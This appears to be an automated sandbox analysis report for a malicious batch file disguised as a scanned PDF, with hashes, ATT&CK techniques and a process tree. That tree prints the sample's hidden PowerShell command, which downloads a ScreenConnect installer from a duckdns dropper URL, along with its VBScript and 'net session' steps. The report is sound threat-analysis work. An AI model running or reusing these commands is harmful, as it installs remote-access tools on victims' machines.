676793499c5b918f7db4d4afed90695f209e86ba1e1599441246f54b871a1887

Analysis

max time kernel
149s
max time network
155s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
12/09/2026, 12:26

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
SKM_PCscan.321PDF.bat
Size 1KB
Sample260912-pmatxaxalg
SHA256 676793499c5b918f7db4d4afed90695f209e86ba1e1599441246f54b871a1887
MD5 44c9c53da722f498eef5cbfd6e9d1067
SHA1 5bed41256c4c3254feb28cfdd7e59e371416413e
SHA512 8d919ce7e6555d97ff037f4089664116f68c190a31403a34d2c87a549f3fb568e7e7c8c5a3dbfceb6d0956cea40f64f261679712c861cff27099c0f1e5200729
TLSH
T17111114A398AF4390CBF4353B4754099FBDE168AA6025CCBB19B809869075D2D2CC6CE
MD5 SHA1 SHA512 TLSH

Score

10^/10

defense_evasion execution

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
http://filesharesecure.duckdns.org:8040/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	4552	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4552	powershell.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
4604	wscript.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3152	cmd.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
4224	timeout.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4552	powershell.exe
4552	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4552	powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 3152 wrote to memory of 2912	3152	cmd.exe	88
PID 2912 wrote to memory of 5272	2912	net.exe	89
PID 3152 wrote to memory of 4604	3152	cmd.exe	90
PID 3152 wrote to memory of 4552	3152	cmd.exe	91
PID 3152 wrote to memory of 4224	3152	cmd.exe	92

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\SKM_PCscan.321PDF.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3152
- C:\Windows\system32\net.exe
  net session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2912
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:5272
- C:\Windows\system32\wscript.exe
  wscript.exe "C:\Users\Admin\AppData\Local\Temp\svchost374.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:4604
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "(New-Object Net.WebClient).DownloadFile('http://filesharesecure.duckdns.org:8040/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest', 'C:\Users\Admin\AppData\Local\Temp\setup263.msi')"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4552
- C:\Windows\system32\timeout.exe
  timeout /t 5 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:4224

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

svchost374.vbs

Path C:\Users\Admin\AppData\Local\Temp\svchost374.vbs
Size 118B
SHA256 440e8b3cb86af25fde932977defe6bc13949e148964577f289d35770481e902b
MD5 e82160961d16181c013519c0a6eb9138
SHA1 e8dd4d2df52897c1e2c84d359e688c779a14922e
SHA512 3727c5ccef5789a162b1686b0ea7af9dfc26960c0d62158ad45d78c23a0f7e2760107b83d1464d180dbd8133772ee60dcf8099d74d02845154755dde0ac920a4
TLSH
T18DB09B00B54CE42351475190717195555E784C445157746A1940D15C16641759D1A0CB
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4552-10-0x00007FFD0B8D0000-0x00007FFD0C274000-memory.dmp

Download

memory/4552-4-0x00007FFD0B8D0000-0x00007FFD0C274000-memory.dmp

Download

memory/4552-7-0x0000021198A30000-0x0000021198A52000-memory.dmp

Download

memory/4552-8-0x00007FFD0B8D0000-0x00007FFD0C274000-memory.dmp

Download

memory/4552-9-0x00007FFD0B8D0000-0x00007FFD0C274000-memory.dmp

Download

memory/4552-2-0x00007FFD0BA5F000-0x00007FFD0BA60000-memory.dmp

Download

memory/4552-11-0x00007FFD0B8D0000-0x00007FFD0C274000-memory.dmp

Download

memory/4552-12-0x00007FFD0B8D0000-0x00007FFD0C274000-memory.dmp

Download

memory/4552-13-0x00007FFD0B8D0000-0x00007FFD0C274000-memory.dmp

Download

memory/4552-14-0x00007FFD0B8D0000-0x00007FFD0C274000-memory.dmp

Download

memory/4552-15-0x00007FFD0B8D0000-0x00007FFD0C274000-memory.dmp

Download

memory/4552-18-0x00007FFD0B8D0000-0x00007FFD0C274000-memory.dmp

Download